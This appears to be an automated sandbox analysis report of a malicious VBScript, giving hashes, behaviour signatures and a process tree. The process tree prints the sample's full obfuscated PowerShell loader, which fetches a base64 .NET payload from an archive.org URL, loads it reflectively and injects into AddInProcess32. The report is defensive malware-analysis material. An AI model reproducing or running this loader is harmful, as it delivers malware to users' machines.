Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23-09-2024 00:56
Static task
static1
Behavioral task
behavioral1
Sample
INQUIRY_0002341259-SCB.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
INQUIRY_0002341259-SCB.vbs
Resource
win10v2004-20240802-en
General
-
Target
INQUIRY_0002341259-SCB.vbs
-
Size
507KB
-
MD5
8826da2dae531f219269ca314cec4f88
-
SHA1
a5c24e29d2b9901a0849fe4c70dd67733febcb57
-
SHA256
3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b
-
SHA512
9899a75d918671927f0dce5824135427899d75c88c153f78e8fa9ca5d39383a2cb33d092376ae631f507a3bd855636968724d9509d180e2c3a0a307a697e7de5
-
SSDEEP
12288:r4IJKsC/UX6neBCN6Jy7f24Sjmr8NeAkWrIXbl/MCmgdTQFq30+XDNNRsgbZAKIo:kkgn2MHhso/
Malware Config
Extracted
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 1284 powershell.exe 6 1284 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2564 powershell.exe 1284 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2564 powershell.exe 1284 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2564 powershell.exe Token: SeDebugPrivilege 1284 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2092 wrote to memory of 2564 2092 WScript.exe 30 PID 2092 wrote to memory of 2564 2092 WScript.exe 30 PID 2092 wrote to memory of 2564 2092 WScript.exe 30 PID 2564 wrote to memory of 1284 2564 powershell.exe 32 PID 2564 wrote to memory of 1284 2564 powershell.exe 32 PID 2564 wrote to memory of 1284 2564 powershell.exe 32
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQUIRY_0002341259-SCB.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv '*MDr*').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1284
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD54c776a7f2ac7691f7fa5cd73556cbc67
SHA1b39727f67e64d49b8fb12a301cbb57e21e87df7a
SHA25695e92f0850d045f1a40469818dedcd83773f3d83137de1c0f5169d9feefb5966
SHA5122c73dc047b32411f03ac106b3c4de55ae95bd67c4c87b3a59742a163d6e6939849b1c379c33b47f7c07d1277e9642dfb0437e97aa7809218bebeb32000d6b424